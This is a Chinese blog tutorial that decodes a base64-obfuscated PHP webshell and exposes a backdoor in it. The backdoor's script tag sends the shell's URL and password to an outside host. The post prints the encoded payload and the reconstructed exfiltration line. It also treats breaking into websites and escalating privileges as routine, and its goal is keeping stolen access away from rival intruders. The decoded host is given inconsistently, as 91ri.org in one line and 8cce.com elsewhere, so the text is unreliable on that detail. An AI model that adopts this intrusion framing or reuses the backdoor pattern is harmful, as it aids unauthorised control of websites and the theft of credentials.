仅将此文献给还在为别人的webshell做出贡献的同学。
拿下一个网站后,理所当然的传webshll,提权。
但是一些人会在webshell中插入小小的一段代码,这样你辛苦拿下的webshell的地址和密码等等就会统统发送给在webshell插后门的人。
这段代码可大可小,下面是我随便找的一个phpwebshell,来解密一下其中的后门。
首先是用记事本打开这个webshell,可以看到,这个shell的大部分代码都是经过base64编码的。运行时在解码运行,这样别人就不能直接看到明文的代码。
接下来就是解密的过程了,首先,我们将eval改成print_r
这里说一下,解密之前要先把PHP的环境搭建好。 然后保存运行。
运行后可以看到,基本的代码都直接显示了出来,这样就得到了这个webshell中的大部分代码,但是图中还有一部分是base64编码的代码,不过只是一小段,所以我们可以自己写个小的php来显示出来
<?php
print_r(base64_decode(‘经过base64编码的代码’));
?>
首先我找到的第一段编码是base64_decode(‘PHNjcmlwdCBzcmM9J2h0dHA6Ly8lMzglNjMlNjMlNjUlMkUlNjMlNkYlNkQvJTYzJTY1JT
cyJTc0Lz9jZXJ0PTEzJnU9′)
这段代码赋值给了$copyurl变量。
把这段编码放进上面的那一小段解密用的php内,然后运行。
可以看到,运行结果是空白的,但是查看源文件后可以看到那么一段script。其中http://后面的带百分号的可以去URL解码一下
这就是解码后的网址了。
<script src=’http://91ri.org/ cert/?cert=13&u=
先复制这段可疑的script,放文本内。
在之前那段base64编码的下面,我又发现了被赋值给变量$copyurll的编码base64_decode(‘Jz48L3NjcmlwdD4=’)
将这段编码通过上面的方法解码后显示的结果是:’></script>
这段代码正好和上面解密的一段结合成了完整的一段script
<script src=’http://8cce.com/cert/?cert=13&u=’></script>
之后我们可以看看这段可疑的代码是做什么用的,因为是分别赋值给了$copyurl和$copyurll,所以我们直接搜索这两个变量就行了
以下是搜索的结果
可以看到:echo “”.$copyurl.$serveru.”&p=”.$serverp.$copyurll.””;
这段代码里,$serveru和$serverp分别是webshell地址和webshell的密码。
那echo完整的语句就成了:echo <script src=’http://8cce.com/cert/?cert=13&u=webshell地址&p=webshell密码’></script>
再结合这段echo前面的代码可以看出,在验证webshell密码正确后,再把密码通过script提交到解密后的网址中。
通过以上解密,就可以看出这个webshell是已经被人插入了后门,当然也有可能不止这一个后门。
所以以后大家在用webshell首先要注意一下是否已经被人插入了后门,否则你可能辛苦拿下的网站别人轻而易举的直接登陆你的webshell就控制了这个网站。
Copyright © hongdaChiaki. All Rights Reserved. 鸿大千秋 版权所有
联系方式:
地址: 深圳市南山区招商街道沿山社区沿山路43号创业壹号大楼A栋107室
邮箱:service@hongdaqianqiu.com
备案号:粤ICP备15078875号